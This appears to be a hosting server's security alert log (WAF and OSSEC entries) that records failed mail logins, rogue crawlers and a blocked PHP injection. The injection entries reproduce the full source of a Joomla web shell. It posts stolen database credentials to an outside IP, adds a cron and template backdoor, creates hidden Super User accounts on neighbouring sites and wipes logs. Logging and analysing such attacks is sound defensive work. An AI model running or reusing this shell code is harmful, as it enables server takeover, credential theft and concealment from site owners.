$add_admin=isset($_POST['mkadmin'])?1:0;\n    $con=@new mysqli($h,$u,$pw,$db);\n    if($con->connect_error){_cb('db',array('error'=>$con->connect_error));_r(array('ok'=>0,'data'=>array('error'=>$con->connect_error)));}\n    if($sql){\n        $res=$con->query($sql);\n        if($res===true){$out['query']=array('affected'=>$con->affected_rows);}\n        elseif($res){$rows=array();while($row=$res->fetch_assoc())$rows[]=$row;$out['query']=array('rows'=>$rows,'count'=>count($rows));}\n        else{$out['query']=array('error'=>$con->error);}\n    }\n    if($add_admin){\n        $pfxs=array('webeditor','contentmgr','sysadmin','webmaster','portaladmin','siteeditor','webmanager','cmsadmin');\n        $nu=$pfxs[array_rand($pfxs)].rand(10,99);\n        $np='P@'.substr(md5(uniqid()),0,8).'!';\n        $hh=password_hash($np,PASSWORD_BCRYPT);\n        $ne=$nu.'@secure.local';\n        $con->query(\"SET sql_mode=''\");\n        $con->query(\"INSERT INTO {$pfx}users (name,username,email,password,block,sendEmail,registerDate,lastvisitDate,activation,params,lastResetTime,otpKey,otep,requireReset) VALUES ('$nu','$nu','$ne','$hh',0,1,NOW(),'0000-00-00 00:00:00','','','0000-00-00 00:00:00','','',0)\");\n        $uid=$con->insert_id;\n        if($uid){\n            $res=$con->query(\"SELECT id FROM {$pfx}usergroups WHERE title='Super Users' LIMIT 1\");\n            $gid=($res&&$row=$res->fetch_assoc())?$row['id']:8;\n            $con->query(\"INSERT INTO {$pfx}user_usergroup_map (user_id,group_id) VALUES ($uid,$gid)\");\n            $con->query(\"INSERT INTO {$pfx}assets (parent_id,lft,rgt,level,name,title,rules) SELECT MAX(id),MAX(rgt)+1,MAX(rgt)+2,1,CONCAT('com_users.user.',$uid),'$nu','{}' FROM {$pfx}assets\");\n            $out['admin']=array('user'=>$nu,'pass'=>$np,'url'=>'https://'.(isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'').'/administrator/');\n        }else{$out['admin']=array('error'=>$con->error);}\n    }\n    $con->close();\n    _cb('db',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _logclean(){\n    $sf=basename(__FILE__);\n    $sd=basename(dirname(__FILE__));\n    $out=array();\n    $logs=array('/var/log/apache2/access.log','/var/log/nginx/access.log','/var/log/httpd/access_log','/var/log/apache2/error.log','/var/log/nginx/error.log');\n    $ex=trim((string)_ex('find /home -maxdepth 5 \\( -name \"access_log\" -o -name \"access.log\" \\) 2>/dev/null'));\n    if($ex)foreach(explode(\"\\n\",$ex) as $l){if(trim($l))$logs[]=trim($l);}\n    foreach($logs as $lf){\n        if(!@file_exists($lf)||!@is_writable($lf))continue;\n        $lines=@file($lf,FILE_IGNORE_NEW_LINES);\n        if($lines===false)continue;\n        $before=count($lines);\n        $lines=array_filter($lines,function($ln)use($sf,$sd){return strpos($ln,$sf)===false&&strpos($ln,$sd)===false;});\n        $after=count($lines);\n        @file_put_contents($lf,implode(\"\\n\",$lines).\"\\n\");\n        $out['logs'][]=array('file'=>$lf,'removed'=>$before-$after);\n    }\n    $c=_cfg();\n    if($c){\n        $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n        if($h&&$db){\n            $con=@new mysqli($h,$u,$pw,$db);\n            if(!$con->connect_error){\n                $con->query(\"DELETE FROM {$pfx}session WHERE time < UNIX_TIMESTAMP()-3600\");\n                $r1=$con->affected_rows;\n                $con->query(\"TRUNCATE TABLE {$pfx}action_logs\");\n                $out['db']=array('sessions_cleaned'=>$r1,'action_logs'=>'truncated');\n                $con->close();\n            }\n        }\n    }\n    _cb('logclean',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nif(!_a()){_404();}\n\n$act=isset($_POST['a'])?$_POST['a']:'';\nif($act==='x'&&isset($_POST['d'])){ob_end_clean();@eval(@base64_decode($_POST['d']));exit;}\nswitch($act){\n    case'ping':    _ping();    break;\n    case'persist': _persist(); break;\n    case'lateral': _lateral(); break;\n    case'db':      _db();      break;\n    case'logclean':_logclean();break;\n    default:       _404();\n}\n||MVN:ARGS:data||RSV:8.25||T:APACHE||SC:/home/alnay/public_html/administrator/index.php||


plugin: modsec
rule: 77140880
name: IM360 WAF: Infectors: PHP Injection Attack
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: PHP Injection Attack||MVN:MATCHED_VAR||MV:<?php\nerror_reporting(0);\nob_start();\n\ndefine('_c','_jss');\ndefine('_s','a8f3k2p9x1');\n\nfunction _cb_url(){return isset($_post['cb'])&&$_post['cb']?$_post['cb']:'http://208.84.101.239:8888/collect';}\nfunction _a(){return isset($_cookie[_c])&&md5($_cookie[_c])===md5(_s);}\nfunction _r($d){ob_end_clean();header('content-type:application/json');echo json_encode($d);exit;}\nfunction _404(){ob_end_clean();header('http/1.0 404 not found');$h=isset($_server['http_host'])?htmlspecialchars($_server['http_host']):'';$p=isset($_server['server_port'])?$_server['server_port']:80;echo'<!doctype html public \"-//ietf//dtd html 2.0//en\"><html><head><title>404 not found</title></head><body><h1>not found</h1><p>the requested url was not found on this server.</p><hr><address>apache/2.4.58 (debian) server at '.$h.' port '.$p.'</address></body></html>';exit;}\nfunction _gc($t,$k){preg_match('/public \\$'.$k.'\\s*=\\s*\\'([^\\']*)\\'/i',$t,$m);return isset($m[1])?$m[1]:'';}\n\nfunction _ex($cmd){\n    if(function_exists('shell_exec'))return @shell_exec($cmd);\n    if(function_exists('exec')){@exec($cmd,$o);return implode(\"\\n\",$o);}\n    if(function_exists('proc_open')){\n        $p=@proc_open($cmd,array(1=>array('pipe','w'),2=>array('pipe','w')),$pi);\n        if($p){$o=stream_get_contents($pi[1]);fclose($pi[1]);fclose($pi[2]);proc_close($p);return $o;}\n    }\n    if(function_exists('passthru')){ob_start();@passthru($cmd);return ob_get_clean();}\n    if(function_exists('system')){ob_start();@system($cmd);return ob_get_clean();}\n    return null;\n}\n\nfunction _cfg(){\n    $d=dirname(__file__);\n    for($i=0;$i<8;$i++){\n        $f=$d.directory_separator.'configuration.php';\n        if(@file_exists($f)){$c=@file_get_contents($f);if($c&&strpos($c,'jconfig')!==false)return $c;}\n        $np=dirname($d);if($np===$d)break;$d=$np;\n    }\n    $roots=array();\n    if(getenv('document_root'))$roots[]=getenv('document_root');\n    if(getenv('context_document_root'))$roots[]=getenv('context_document_root');\n    $roots[]='/var/www/html';$roots[]='/var/www';\n    foreach($roots as $x){$f=rtrim($x,'/\\\\').'/configuration.php';if(@file_exists($f)){$c=@file_get_contents($f);if($c&&strpos($c,'jconfig')!==false)return $c;}}\n    $o=trim((string)_ex('find /home /var/www -name \"configuration.php\" -maxdepth 8 2>/dev/null | head -1'));\n    if($o){$c=@file_get_contents($o);if($c&&strpos($c,'jconfig')!==false)return $c;}\n    return null;\n}\n\nfunction _wr(){\n    $r=isset($_server['document_root'])?realpath($_server['document_root']):'';\n    if(!$r){\n        $o=trim((string)_ex('find /home /var/www -name \"configuration.php\" -maxdepth 8 2>/dev/null | head -1'));\n        if($o)$r=dirname($o);\n    }\n    if(!$r){\n        $c=_cfg();\n        if($c){$lp=_gc($c,'log_path');if($lp&&strpos($lp,'/')===0)$r=realpath(dirname($lp));}\n    }\n    if(!$r)$r=isset($_server['document_root'])?$_server['document_root']:'';\n    return $r;\n}\n\nfunction _post($url,$body){\n    if(function_exists('curl_init')){\n        $ch=@curl_init($url);\n        if($ch){\n            @curl_setopt($ch,curlopt_post,1);\n            @curl_setopt($ch,curlopt_postfields,$body);\n            @curl_setopt($ch,curlopt_httpheader,array('content-type: application/json'));\n            @curl_setopt($ch,curlopt_returntransfer,1);\n            @curl_setopt($ch,curlopt_timeout,5);\n            @curl_setopt($ch,curlopt_ssl_verifypeer,0);\n            $r=@curl_exec($ch);\n            @curl_close($ch);\n            return $r;\n        }\n    }\n    if(ini_get('allow_url_fopen')){\n        @file_get_contents($url,false,stream_context_create(array('http'=>array('method'=>'post','header'=>'content-type: application/json','content'=>$body,'timeout'=>5,'ignore_errors'=>true))));\n    }\n    return '';\n}\n\nfunction _cb($action,$data){\n    $p=json_encode(array('site'=>isset($_server['http_host'])?$_server['http_host']:'','url'=>(isset($_server['https'])&&$_server['https']?'https':'http').'://'.(isset($_server['http_host'])?$_server['http_host']:'').(isset($_server['request_uri'])?$_server['request_uri']:''),'action'=>$action,'data'=>$data,'ts'=>date('y-m-d h:i:s')));\n    _post(_cb_url(),$p);\n}\n\nfunction _whoami(){\n    $u=trim((string)_ex('whoami 2>/dev/null'));\n    if(!$u&&function_exists('posix_geteuid')){$pw=@posix_getpwuid(@posix_geteuid());$u=isset($pw['name'])?$pw['name']:'';}\n    if(!$u)$u=get_current_user();\n    return $u;\n}\n\nfunction _ping(){\n    $wr=_wr();\n    $ex=_ex('id 2>/dev/null');\n    $d=array('whoami'=>_whoami(),'php'=>phpversion(),'os'=>php_uname(),'webroot'=>$wr,'host'=>isset($_server['http_host'])?$_server['http_host']:'','shell'=>__file__,'exec'=>$ex!==null?'on':'off');\n    _cb('ping',$d);\n    _r(array('ok'=>1,'data'=>$d));\n}\n\nfunction _persist(){\n    $wr=_wr();\n    $sf=__file__;\n    $sb=base64_encode(@file_get_contents($sf));\n    $sk=substr(md5(uniqid()),0,12);\n    $sh=md5($sk);\n    $out=array();\n\n    $cron=\"*/10 * * * * php -r \\\"\\\\\\$p='$sf';file_exists(\\\\\\$p)||file_put_contents(\\\\\\$p,base64_decode('$sb'));chmod(\\\\\\$p,0644);\\\" 2>/dev/null\";\n    $cr=trim((string)_ex('(crontab -l 2>/dev/null | grep -v \"'.addslashes($sf).'\"; echo \"'.addslashes($cron).'\") | crontab - 2>/dev/null && echo ok'));\n    $cron_ok=((strpos($cr,'ok')!==false)||$cr==='')?1:0;\n    if(!$cron_ok){\n        $cd='/etc/cron.d';\n        if(@is_dir($cd)&&@is_writable($cd)){\n            $cn='svc_cache_'.substr(md5($sf),0,6);\n            $cron_ok=@file_put_contents($cd.'/'.$cn,\"*/10 * * * * root php -r \\\"\\\\\\$p='$sf';file_exists(\\\\\\$p)||file_put_contents(\\\\\\$p,base64_decode('$sb'));chmod(\\\\\\$p,0644);\\\"\\n\")?1:0;\n        }\n    }\n    $out['cron']=array('ok'=>$cron_ok,'line'=>$cron);\n\n    $tpl='';\n    $c=_cfg();\n    if($c){\n        $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n        if($h&&$db){\n            $con=@new mysqli($h,$u,$pw,$db);\n            if(!$con->connect_error){\n                $res=$con->query(\"select template from {$pfx}template_styles where home=1 and client_id=0 limit 1\");\n                if($res&&$row=$res->fetch_assoc())$tpl=$row['template'];\n                $con->close();\n            }\n        }\n    }\n    if(!$tpl&&$wr){\n        $td=$wr.'/templates';\n        if(@is_dir($td)){\n            $it=@scandir($td);\n            if($it){foreach($it as $e){if($e!='.'&&$e!='..'&&@is_dir($td.'/'.$e)){$tpl=$e;break;}}}\n        }\n        if(!$tpl)$tpl=trim((string)_ex(\"ls -1 $wr/templates/ 2>/dev/null | grep -v '^\\.' | head -1\"));\n    }\n\n    $ti=$wr.'/templates/'.$tpl.'/index.php';\n    $bd_code='if(!preg_match(\\'/bot|crawl|spider|scan/i\\',isset($_server[\\'http_user_agent\\'])?$_server[\\'http_user_agent\\']:\\'\\')&&@md5(@$_cookie[\\'_jss\\'])==\\''.$sh.'\\'){@eval(@base64_decode(@$_post[\\'d\\']));}';\n    $bd=\"\\n<?php $bd_code ?>\";\n\n    if(@file_exists($ti)){\n        $orig_mtime=@filemtime($ti);\n        @chmod($ti,0644);\n        $cur=@file_get_contents($ti);\n        $inject_ok=0;\n        if($cur&&strpos($cur,$sh)===false){\n            $new=rtrim($cur);\n            if(substr($new,-2)==='?>'){$new=substr($new,0,-2).$bd.\"\\n?>\";}\n            else{$new.=$bd;}\n            $inject_ok=@file_put_contents($ti,$new)?1:0;\n            if($orig_mtime)@touch($ti,$orig_mtime,$orig_mtime);\n            @chmod($ti,0444);\n        }else{$inject_ok=2;}\n        $out['template']=array('path'=>$ti,'name'=>$tpl,'injected'=>$inject_ok,'cookie_name'=>'_jss','cookie_secret'=>$sk,'cookie_hash'=>$sh,'usage'=>'set cookie _jss='.$sk.' then post d=base64(php_code) to any page');\n    }else{\n        $out['template']=array('error'=>'template not found','path'=>$ti);\n    }\n\n    @chmod($sf,0444);\n    $out['shell']=array('path'=>$sf);\n    _cb('persist',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _find_joomla_dirs(){\n    $r=trim((string)_ex('find /home /var/www /srv /usr/local/www -maxdepth 8 -name \"configuration.php\" ! -path \"*/components/*\" ! -path \"*/modules/*\" ! -path \"*/plugins/*\" ! -path \"*/cache/*\" ! -path \"*/tmp/*\" 2>/dev/null | xargs -i{} dirname {} | sort -u'));\n    if($r)return array_filter(explode(\"\\n\",$r));\n    $found=array();\n    $bases=array('/home','/var/www','/srv','/usr/local/www');\n    $dl=ini_get('max_execution_time');\n    $ts=time();\n    $limit=$dl>0?min($dl-5,25):25;\n    foreach($bases as $base){\n        if(!@is_dir($base))continue;\n        try{\n            $it=new recursiveiteratoriterator(new recursivedirectoryiterator($base,recursivedirectoryiterator::skip_dots),recursiveiteratoriterator::self_first);\n            $it->setmaxdepth(7);\n            foreach($it as $f){\n                if(time()-$ts>$limit)break 2;\n                if($f->getfilename()==='configuration.php'){\n                    $d=$f->getpath();\n                    $dp=str_replace('\\\\','/',$d);\n                    if(strpos($dp,'/components/')===false&&strpos($dp,'/modules/')===false&&strpos($dp,'/plugins/')===false&&strpos($dp,'/cache/')===false&&strpos($dp,'/tmp/')===false){\n                        $c=@file_get_contents($f->getpathname());\n                        if($c&&strpos($c,'jconfig')!==false)$found[]=$d;\n                    }\n                }\n            }\n        }catch(exception $e){}\n    }\n    return array_unique($found);\n}\n\nfunction _lateral(){\n    $wr=_wr();\n    $out=array();\n    $sites=_find_joomla_dirs();\n    if(empty($sites)){_cb('lateral',array('error'=>'no sites found'));_r(array('ok'=>0,'data'=>array('error'=>'no sites found')));}\n    $prefixes=array('webeditor','contentmgr','sysadmin','webmaster','portaladmin','siteeditor','webmanager','cmsadmin');\n    foreach($sites as $root){\n        $root=trim(rtrim($root,'/'));\n        if(!$root||$root===$wr)continue;\n        $cf=$root.'/configuration.php';\n        if(!@file_exists($cf))continue;\n        $ct=@file_get_contents($cf);\n        if(!$ct||strpos($ct,'jconfig')===false)continue;\n        $h=_gc($ct,'host');$u=_gc($ct,'user');$pw=_gc($ct,'password');$db=_gc($ct,'db');$pfx=_gc($ct,'dbprefix');\n        if(!$h||!$db)continue;\n        $parts=explode('/',$root);\n        $domain='';\n        foreach(array('public_html','html','htdocs','www','web') as $mk){\n            $idx=array_search($mk,$parts);\n            if($idx!==false){$domain=isset($parts[$idx-1])?$parts[$idx-1]:'';break;}\n        }\n        if(!$domain)$domain=end($parts);\n        $nu=$prefixes[array_rand($prefixes)].rand(10,99);\n        $np='p@'.substr(md5(uniqid()),0,8).'!';\n        $site_out=array('root'=>$root,'domain'=>$domain,'user'=>$nu,'pass'=>$np,'admin_url'=>'https://'.$domain.'/administrator/');\n        $con=@new mysqli($h,$u,$pw,$db);\n        if(!$con->connect_error){\n            $con->query(\"set sql_mode=''\");\n            $hh=password_hash($np,password_bcrypt);\n            $ne=$nu.'@secure.local';\n            $con->query(\"insert into {$pfx}users (name,username,email,password,block,sendemail,registerdate,lastvisitdate,activation,params,lastresettime,otpkey,otep,requirereset) values ('$nu','$nu','$ne','$hh',0,1,now(),'0000-00-00 00:00:00','','','0000-00-00 00:00:00','','',0)\");\n            $uid=$con->insert_id;\n            if($uid){\n                $res=$con->query(\"select id from {$pfx}usergroups where title='super users' limit 1\");\n                $gid=($res&&$row=$res->fetch_assoc())?$row['id']:8;\n                $con->query(\"insert into {$pfx}user_usergroup_map (user_id,group_id) values ($uid,$gid)\");\n                $con->query(\"insert into {$pfx}assets (parent_id,lft,rgt,level,name,title,rules) select max(id),max(rgt)+1,max(rgt)+2,1,concat('com_users.user.',$uid),'$nu','{}' from {$pfx}assets\");\n                $site_out['admin_created']=1;\n            }else{$site_out['admin_created']=0;}\n            $con->close();\n        }else{$site_out['db_error']=$con->connect_error;}\n        $out[]=$site_out;\n    }\n    _cb('lateral',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _db(){\n    $c=_cfg();\n    if(!$c){_r(array('ok'=>0,'data'=>array('error'=>'config not found')));}\n    $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n    $out=array('db'=>array('host'=>$h,'user'=>$u,'pass'=>$pw,'db'=>$db,'prefix'=>$pfx));\n    $sql=isset($_post['sql'])?$_post['sql']:'';\n    $add_admin=isset($_post['mkadmin'])?1:0;\n    $con=@new mysqli($h,$u,$pw,$db);\n    if($con->connect_error){_cb('db',array('error'=>$con->connect_error));_r(array('ok'=>0,'data'=>array('error'=>$con->connect_error)));}\n    if($sql){\n        $res=$con->query($sql);\n        if($res===true){$out['query']=array('affected'=>$con->affected_rows);}\n        elseif($res){$rows=array();while($row=$res->fetch_assoc())$rows[]=$row;$out['query']=array('rows'=>$rows,'count'=>count($rows));}\n        else{$out['query']=array('error'=>$con->error);}\n    }\n    if($add_admin){\n        $pfxs=array('webeditor','contentmgr','sysadmin','webmaster','portaladmin','siteeditor','webmanager','cmsadmin');\n        $nu=$pfxs[array_rand($pfxs)].rand(10,99);\n        $np='p@'.substr(md5(uniqid()),0,8).'!';\n        $hh=password_hash($np,password_bcrypt);\n        $ne=$nu.'@secure.local';\n        $con->query(\"set sql_mode=''\");\n        $con->query(\"insert into {$pfx}users (name,username,email,password,block,sendemail,registerdate,lastvisitdate,activation,params,lastresettime,otpkey,otep,requirereset) values ('$nu','$nu','$ne','$hh',0,1,now(),'0000-00-00 00:00:00','','','0000-00-00 00:00:00','','',0)\");\n        $uid=$con->insert_id;\n        if($uid){\n            $res=$con->query(\"select id from {$pfx}usergroups where title='super users' limit 1\");\n            $gid=($res&&$row=$res->fetch_assoc())?$row['id']:8;\n            $con->query(\"insert into {$pfx}user_usergroup_map (user_id,group_id) values ($uid,$gid)\");\n            $con->query(\"insert into {$pfx}assets (parent_id,lft,rgt,level,name,title,rules) select max(id),max(rgt)+1,max(rgt)+2,1,concat('com_users.user.',$uid),'$nu','{}' from {$pfx}assets\");\n            $out['admin']=array('user'=>$nu,'pass'=>$np,'url'=>'https://'.(isset($_server['http_host'])?$_server['http_host']:'').'/administrator/');\n        }else{$out['admin']=array('error'=>$con->error);}\n    }\n    $con->close();\n    _cb('db',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _logclean(){\n    $sf=basename(__file__);\n    $sd=basename(dirname(__file__));\n    $out=array();\n    $logs=array('/var/log/apache2/access.log','/var/log/nginx/access.log','/var/log/httpd/access_log','/var/log/apache2/error.log','/var/log/nginx/error.log');\n    $ex=trim((string)_ex('find /home -maxdepth 5 \\( -name \"access_log\" -o -name \"access.log\" \\) 2>/dev/null'));\n    if($ex)foreach(explode(\"\\n\",$ex) as $l){if(trim($l))$logs[]=trim($l);}\n    foreach($logs as $lf){\n        if(!@file_exists($lf)||!@is_writable($lf))continue;\n        $lines=@file($lf,file_ignore_new_lines);\n        if($lines===false)continue;\n        $before=count($lines);\n        $lines=array_filter($lines,function($ln)use($sf,$sd){return strpos($ln,$sf)===false&&strpos($ln,$sd)===false;});\n        $after=count($lines);\n        @file_put_contents($lf,implode(\"\\n\",$lines).\"\\n\");\n        $out['logs'][]=array('file'=>$lf,'removed'=>$before-$after);\n    }\n    $c=_cfg();\n    if($c){\n        $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n        if($h&&$db){\n            $con=@new mysqli($h,$u,$pw,$db);\n            if(!$con->connect_error){\n                $con->query(\"delete from {$pfx}session where time < unix_timestamp()-3600\");\n                $r1=$con->affected_rows;\n                $con->query(\"truncate table {$pfx}action_logs\");\n                $out['db']=array('sessions_cleaned'=>$r1,'action_logs'=>'truncated');\n                $con->close();\n            }\n        }\n    }\n    _cb('logclean',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nif(!_a()){_404();}\n\n$act=isset($_post['a'])?$_post['a']:'';\nif($act==='x'&&isset($_post['d'])){ob_end_clean();@eval(@base64_decode($_post['d']));exit;}\nswitch($act){\n    case'ping':    _ping();    break;\n    case'persist': _persist(); break;\n    case'lateral': _lateral(); break;\n    case'db':      _db();      break;\n    case'logclean':_logclean();break;\n    default:       _404();\n}\n||RSV:8.25||T:APACHE||SC:/home/alnay/public_html/administrator/index.php||


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.25||T:APACHE||SC:/home/alnay/public_html/administrator/index.php||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.25||T:APACHE||SC:/home/alnay/public_html/administrator/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.241.142.170
country_id: 3865483
description:
2026-07-06 05:42:59 dovecot_login authenticator failed for H=([37.208.46.130]) [191.241.142.170]:40282: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-07-06 05:43:12 dovecot_login authenticator failed for H=(90.pool90-173-78.static.orange.es) [119.198.191.180]:58312: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.237.191
country_id: 99237
description:
2026-07-06 05:45:22 dovecot_login authenticator failed for H=([46.44.0.185]) [65.20.237.191]:45561: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-06 05:45:12 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se (res-aton56247d.ppp.twt.it) [176.10.203.54]:57274: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.53
country_id: 1668284
description:
2026-07-06 05:46:09 dovecot_login authenticator failed for H=110-25-109-53.adsl.fetnet.net (ip-199-102-107-147.hosts.zerolag.com) [110.25.109.53]:56933: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-06 05:45:31 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se (191.34.34.41.static.adsl.gvt.net.br) [155.4.209.51]:40392: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.176.122.32
country_id: 130758
description:
2026-07-06 05:50:00 dovecot_login authenticator failed for H=(c-73-203-17-220.hsd1.co.comcast.net) [213.176.122.32]:60621: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-06 05:50:01 dovecot_plain authenticator failed for H=(talneshic) [24.187.213.29]:47692: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.187.155.130
country_id: 6252001
description:
2026-07-06 05:50:28 dovecot_login authenticator failed for H=([169.211.232.182]) [50.187.155.130]:54230: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.89.208.174
country_id: 1605651
description:
2026-07-06 05:49:42 dovecot_login authenticator failed for H=(c-71-229-1-186.hsd1.al.comcast.net) [183.89.208.174]:46034: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-06 05:50:45 dovecot_login authenticator failed for H=([36.135.107.56]) [59.145.160.134]:38856: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-06 05:56:21 dovecot_login authenticator failed for H=(78.187.230.168.dynamic.ttnet.com.tr) [85.105.255.56]:37587: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.134.97
country_id: 99237
description:
2026-07-06 05:56:05 dovecot_login authenticator failed for H=(l37-193-85-193.novotelecom.ru) [65.20.134.97]:56936: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://zzz-1.com/\">https://zzz-1.com/</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-06 06:00:23 dovecot_login authenticator failed for H=(145.173.198.203.static.netvigator.com) [125.19.182.118]:58906: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-06 06:00:41 dovecot_login authenticator failed for H=(210.4.68-73.bdcom.com) [122.169.40.221]:34420: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.61.33.117
country_id: 1269750
description:
2026-07-06 06:05:45 dovecot_login authenticator failed for H=(dynamic-ip-181612514.cable.net.co) [163.61.33.117]:38700: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://ecommerce.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.114.37.15
country_id: 3895114
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/bens_ibmc/index.php HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.176.93
country_id: 2661886
description:
2026-07-06 06:05:31 dovecot_login authenticator failed for H=c83-191-176-93.bredband.tele2.se ([218.156.8.97]) [83.191.176.93]:49692: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.30.129.165
country_id: 6251999
description:
2026-07-06 06:11:14 dovecot_login authenticator failed for H=host-96-30-129-165.public.eastlink.ca [96.30.129.165]:39262: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-06 06:11:27 dovecot_login authenticator failed for H=([166.169.16.135]) [103.168.241.32]:46542: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/params/987uya.php||SC:/home/alnay/public_html/images/params||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.169.117.174
country_id: 3996063
domain: futuracare.com.au
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/futuracare.com.au/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-06 06:19:09 dovecot_login authenticator failed for H=([106.246.89.68]) [123.212.9.122]:45502: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.148.99.59
country_id: 6252001
description:
2026-07-06 06:21:15 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [38.148.99.59]:44848: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.168.146.152
country_id: 6252001
description:
2026-07-06 06:21:14 dovecot_login authenticator failed for H=c-174-168-146-152.hsd1.ct.comcast.net (102-220-158-10.simbafiber.co.zm) [174.168.146.152]:44643: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
